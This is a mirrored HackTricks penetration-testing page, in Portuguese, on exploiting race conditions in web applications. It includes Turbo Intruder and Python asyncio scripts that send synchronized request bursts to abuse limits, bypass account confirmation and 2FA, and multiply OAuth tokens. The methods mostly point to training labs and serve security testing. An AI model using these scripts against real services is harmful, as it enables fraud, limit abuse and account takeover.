mirror of
https://github.com/carlospolop/hacktricks
synced 2025-01-04 17:28:52 +00:00
291 lines
18 KiB
Markdown
291 lines
18 KiB
Markdown
# Condição de Corrida
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) para construir facilmente e **automatizar fluxos de trabalho** com as ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje mesmo:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou nos siga no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
{% hint style="warning" %}
|
||
Para obter uma compreensão profunda dessa técnica, confira o relatório original em [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
{% endhint %}
|
||
|
||
## Aperfeiçoando Ataques de Condição de Corrida
|
||
|
||
O principal obstáculo para aproveitar as condições de corrida é garantir que múltiplas solicitações sejam tratadas ao mesmo tempo, com **muito pouca diferença em seus tempos de processamento—idealmente, menos de 1ms**.
|
||
|
||
Aqui você pode encontrar algumas técnicas para Sincronização de Solicitações:
|
||
|
||
#### Ataque de Único Pacote HTTP/2 vs. Sincronização de Último Byte HTTP/1.1
|
||
|
||
- **HTTP/2**: Suporta o envio de duas solicitações por uma única conexão TCP, reduzindo o impacto da oscilação de rede. No entanto, devido a variações do lado do servidor, duas solicitações podem não ser suficientes para um exploit consistente de condição de corrida.
|
||
- **HTTP/1.1 'Sincronização de Último Byte'**: Permite o pré-envio da maioria das partes de 20-30 solicitações, retendo um pequeno fragmento, que é então enviado juntamente, alcançando a chegada simultânea ao servidor.
|
||
|
||
A **Preparação para a Sincronização de Último Byte** envolve:
|
||
1. Enviar cabeçalhos e dados do corpo menos o último byte sem encerrar o fluxo.
|
||
2. Pausar por 100ms após o envio inicial.
|
||
3. Desativar o TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar quadros finais.
|
||
4. Fazer um ping para aquecer a conexão.
|
||
|
||
O subsequente envio de quadros retidos deve resultar em sua chegada em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que normalmente não estão envolvidos em ataques de CC.
|
||
|
||
### Adaptando-se à Arquitetura do Servidor
|
||
|
||
Compreender a arquitetura do alvo é crucial. Servidores front-end podem rotear solicitações de forma diferente, afetando o tempo. O aquecimento da conexão do lado do servidor de forma preventiva, por meio de solicitações inconsequentes, pode normalizar o tempo de solicitação.
|
||
|
||
#### Lidando com Bloqueios Baseados em Sessão
|
||
|
||
Frameworks como o manipulador de sessão do PHP serializam solicitações por sessão, potencialmente obscurecendo vulnerabilidades. Utilizar tokens de sessão diferentes para cada solicitação pode contornar esse problema.
|
||
|
||
#### Superando Limites de Taxa ou Recursos
|
||
|
||
Se o aquecimento da conexão for ineficaz, provocar intencionalmente atrasos nos limites de taxa ou recursos dos servidores web através de uma inundação de solicitações fictícias pode facilitar o ataque de único pacote, induzindo um atraso do lado do servidor propício a condições de corrida.
|
||
|
||
|
||
## Exemplos de Ataque
|
||
|
||
* **Tubo Intruder - Ataque de único pacote HTTP2 (1 endpoint)**: Você pode enviar a solicitação para o **Turbo Intruder** (`Extensões` -> `Turbo Intruder` -> `Enviar para o Turbo Intruder`), você pode alterar na solicitação o valor que deseja forçar bruta para **`%s`** como em `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` e então selecionar o **`exemplos/race-single-packer-attack.py`** no menu suspenso:
|
||
|
||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
Se você for enviar **valores diferentes**, você poderia modificar o código com este que usa uma lista de palavras da área de transferência:
|
||
```python
|
||
passwords = wordlists.clipboard
|
||
for password in passwords:
|
||
engine.queue(target.req, password, gate='race1')
|
||
```
|
||
{% hint style="warning" %}
|
||
Se a web não suportar HTTP2 (apenas HTTP1.1), use `Engine.THREADED` ou `Engine.BURP` em vez de `Engine.BURP2`.
|
||
{% endhint %}
|
||
|
||
* **Intruder de Tubo - Ataque de pacote único HTTP2 (Vários endpoints)**: Caso precise enviar uma solicitação para 1 endpoint e depois várias para outros endpoints para acionar o RCE, você pode alterar o script `race-single-packet-attack.py` para algo como:
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=1,
|
||
engine=Engine.BURP2
|
||
)
|
||
|
||
# Hardcode the second request for the RC
|
||
confirmationReq = '''POST /confirm?token[]= HTTP/2
|
||
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
|
||
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
|
||
Content-Length: 0
|
||
|
||
'''
|
||
|
||
# For each attempt (20 in total) send 50 confirmation requests.
|
||
for attempt in range(20):
|
||
currentAttempt = str(attempt)
|
||
username = 'aUser' + currentAttempt
|
||
|
||
# queue a single registration request
|
||
engine.queue(target.req, username, gate=currentAttempt)
|
||
|
||
# queue 50 confirmation requests - note that this will probably sent in two separate packets
|
||
for i in range(50):
|
||
engine.queue(confirmationReq, gate=currentAttempt)
|
||
|
||
# send all the queued requests for this attempt
|
||
engine.openGate(currentAttempt)
|
||
```
|
||
* Também está disponível no **Repeater** através da nova opção '**Enviar grupo em paralelo**' no Burp Suite.
|
||
* Para **limit-overrun** você poderia simplesmente adicionar a **mesma solicitação 50 vezes** no grupo.
|
||
* Para **aquecimento de conexão**, você poderia **adicionar** no **início** do **grupo** algumas **solicitações** para alguma parte não estática do servidor web.
|
||
* Para **atrasar** o processo **entre** o processamento **de uma solicitação e outra** em etapas de 2 subestados, você poderia **adicionar solicitações extras entre** ambas as solicitações.
|
||
* Para um RC de **múltiplos pontos finais**, você poderia começar enviando a **solicitação** que **vai para o estado oculto** e então **50 solicitações** logo após que **exploram o estado oculto**.
|
||
|
||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
### Bruto BF
|
||
|
||
Antes da pesquisa anterior, essas eram algumas cargas úteis usadas que apenas tentavam enviar os pacotes o mais rápido possível para causar um RC.
|
||
|
||
* **Repeater:** Verifique os exemplos da seção anterior.
|
||
* **Intruder**: Envie a **solicitação** para o **Intruder**, defina o **número de threads** para **30** dentro do menu **Opções e**, selecione como carga útil **Cargas úteis nulas** e gere **30.**
|
||
* **Turbo Intruder**
|
||
```python
|
||
def queueRequests(target, wordlists):
|
||
engine = RequestEngine(endpoint=target.endpoint,
|
||
concurrentConnections=5,
|
||
requestsPerConnection=1,
|
||
pipeline=False
|
||
)
|
||
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
|
||
for i in range(len(a)):
|
||
engine.queue(target.req,a[i], gate='race1')
|
||
# open TCP connections and send partial requests
|
||
engine.start(timeout=10)
|
||
engine.openGate('race1')
|
||
engine.complete(timeout=60)
|
||
|
||
def handleResponse(req, interesting):
|
||
table.add(req)
|
||
```
|
||
* **Python - asyncio**
|
||
```python
|
||
import asyncio
|
||
import httpx
|
||
|
||
async def use_code(client):
|
||
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
|
||
return resp.text
|
||
|
||
async def main():
|
||
async with httpx.AsyncClient() as client:
|
||
tasks = []
|
||
for _ in range(20): #20 times
|
||
tasks.append(asyncio.ensure_future(use_code(client)))
|
||
|
||
# Get responses
|
||
results = await asyncio.gather(*tasks, return_exceptions=True)
|
||
|
||
# Print results
|
||
for r in results:
|
||
print(r)
|
||
|
||
# Async2sync sleep
|
||
await asyncio.sleep(0.5)
|
||
print(results)
|
||
|
||
asyncio.run(main())
|
||
```
|
||
## **Metodologia RC**
|
||
|
||
### Limite de estouro / TOCTOU
|
||
|
||
Este é o tipo mais básico de condição de corrida onde **vulnerabilidades** que **aparecem** em lugares que **limitam o número de vezes que você pode realizar uma ação**. Como usar o mesmo código de desconto em uma loja online várias vezes. Um exemplo muito fácil pode ser encontrado neste [**relatório**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) ou neste [**bug**](https://hackerone.com/reports/759247)**.**
|
||
|
||
Existem muitas variações desse tipo de ataque, incluindo:
|
||
|
||
* Resgatar um cartão-presente várias vezes
|
||
* Avaliar um produto várias vezes
|
||
* Sacar ou transferir dinheiro acima do saldo da sua conta
|
||
* Reutilizar uma solução CAPTCHA única
|
||
* Bypass de um limite de taxa anti-brute-force
|
||
|
||
### **Subestados ocultos**
|
||
|
||
Explorar condições de corrida complexas frequentemente envolve aproveitar breves oportunidades para interagir com subestados ocultos ou **não intencionais da máquina**. Veja como abordar isso:
|
||
|
||
1. **Identificar Subestados Ocultos Potenciais**
|
||
- Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de redefinição de senha. Concentre-se em:
|
||
- **Armazenamento**: Prefira endpoints que manipulam dados persistentes do lado do servidor em vez daqueles que lidam com dados do lado do cliente.
|
||
- **Ação**: Procure operações que alteram dados existentes, que são mais propensas a criar condições exploráveis em comparação com aquelas que adicionam novos dados.
|
||
- **Chaveamento**: Ataques bem-sucedidos geralmente envolvem operações com chave no mesmo identificador, por exemplo, nome de usuário ou token de redefinição.
|
||
|
||
2. **Conduzir Sondagem Inicial**
|
||
- Teste os endpoints identificados com ataques de condição de corrida, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento do aplicativo podem sinalizar uma vulnerabilidade.
|
||
|
||
3. **Demonstrar a Vulnerabilidade**
|
||
- Reduza o ataque para o número mínimo de solicitações necessárias para explorar a vulnerabilidade, muitas vezes apenas duas. Esta etapa pode exigir várias tentativas ou automação devido ao timing preciso envolvido.
|
||
|
||
### Ataques Sensíveis ao Tempo
|
||
|
||
A precisão no timing das solicitações pode revelar vulnerabilidades, especialmente quando métodos previsíveis como carimbos de data e hora são usados para tokens de segurança. Por exemplo, gerar tokens de redefinição de senha com base em carimbos de data e hora poderia permitir tokens idênticos para solicitações simultâneas.
|
||
|
||
**Para Explorar:**
|
||
- Use timing preciso, como um ataque de pacote único, para fazer solicitações de redefinição de senha simultâneas. Tokens idênticos indicam uma vulnerabilidade.
|
||
|
||
**Exemplo:**
|
||
- Solicite dois tokens de redefinição de senha ao mesmo tempo e compare-os. Tokens correspondentes sugerem uma falha na geração de token.
|
||
|
||
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) para tentar isso.**
|
||
|
||
|
||
## Estudos de caso de subestados ocultos
|
||
|
||
### Pagar e adicionar um item
|
||
|
||
Confira este [**Laboratório PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver como **pagar** em uma loja e **adicionar um item extra** que **não precisará pagar por ele**.
|
||
|
||
### Confirmar outros e-mails
|
||
|
||
A ideia é **verificar um endereço de e-mail e alterá-lo para um diferente ao mesmo tempo** para descobrir se a plataforma verifica o novo alterado.
|
||
|
||
### Alterar e-mail para 2 endereços de e-mail baseados em Cookie
|
||
|
||
De acordo com [**esta pesquisa**](https://portswigger.net/research/smashing-the-state-machine) o Gitlab estava vulnerável a uma tomada de controle dessa maneira porque poderia **enviar** o **token de verificação de e-mail de um e-mail para o outro e-mail**.
|
||
|
||
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) para tentar isso.**
|
||
|
||
### Estados ocultos do banco de dados / Bypass de confirmação
|
||
|
||
Se **2 gravações diferentes** são usadas para **adicionar** **informações** dentro de um **banco de dados**, há um pequeno período de tempo em que **apenas os primeiros dados foram gravados** no banco de dados. Por exemplo, ao criar um usuário, o **nome de usuário** e a **senha** podem ser **gravados** e **então o token** para confirmar a conta recém-criada é gravado. Isso significa que por um curto período de tempo o **token para confirmar uma conta é nulo**.
|
||
|
||
Portanto, **registrar uma conta e enviar várias solicitações com um token vazio** (`token=` ou `token[]=` ou qualquer outra variação) para confirmar a conta imediatamente poderia permitir **confirmar uma conta** onde você não controla o e-mail.
|
||
|
||
**Confira este [Laboratório PortSwigger](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) para tentar isso.**
|
||
|
||
### Bypass 2FA
|
||
|
||
O pseudo-código a seguir é vulnerável a condição de corrida porque em um tempo muito curto o **2FA não é aplicado** enquanto a sessão é criada:
|
||
```python
|
||
session['userid'] = user.userid
|
||
if user.mfa_enabled:
|
||
session['enforce_mfa'] = True
|
||
# generate and send MFA code to user
|
||
# redirect browser to MFA code entry form
|
||
```
|
||
### Persistência eterna do OAuth2
|
||
|
||
Existem vários [**provedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Esses serviços permitirão que você crie um aplicativo e autentique usuários registrados pelo provedor. Para fazer isso, o **cliente** precisará **permitir que seu aplicativo** acesse alguns de seus dados dentro do **provedor de OAuth**.\
|
||
Portanto, até aqui é apenas um login comum com google/linkedin/github... onde você é solicitado com uma página dizendo: "_O aplicativo \<InsertCoolName> deseja acessar suas informações, você deseja permitir?_"
|
||
|
||
#### Condição de corrida em `authorization_code`
|
||
|
||
O **problema** surge quando você **aceita** e automaticamente envia um **`authorization_code`** para o aplicativo malicioso. Em seguida, este **aplicativo abusa de uma Condição de Corrida no provedor de serviços de OAuth para gerar mais de um AT/RT** (_Authentication Token/Refresh Token_) a partir do **`authorization_code`** para sua conta. Basicamente, ele abusará do fato de você ter aceitado o aplicativo para acessar seus dados e **criará várias contas**. Então, se você **parar de permitir que o aplicativo acesse seus dados, um par de AT/RT será excluído, mas os outros ainda serão válidos**.
|
||
|
||
#### Condição de corrida em `Refresh Token`
|
||
|
||
Uma vez que você **obteve um RT válido**, você poderia tentar **abusar dele para gerar vários AT/RT** e **mesmo se o usuário cancelar as permissões** para o aplicativo malicioso acessar seus dados, **vários RTs ainda serão válidos**.
|
||
|
||
## **RC em WebSockets**
|
||
|
||
Em [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) você pode encontrar um PoC em Java para enviar mensagens de websocket em **paralelo** para abusar de **Condições de Corrida também em Web Sockets**.
|
||
|
||
## Referências
|
||
|
||
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
|
||
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
|
||
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
|
||
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras maneiras de apoiar o HackTricks:
|
||
|
||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||
|
||
</details>
|
||
|
||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
||
\
|
||
Use [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir e **automatizar fluxos de trabalho** com facilidade, alimentados pelas ferramentas comunitárias mais avançadas do mundo.\
|
||
Acesse hoje:
|
||
|
||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|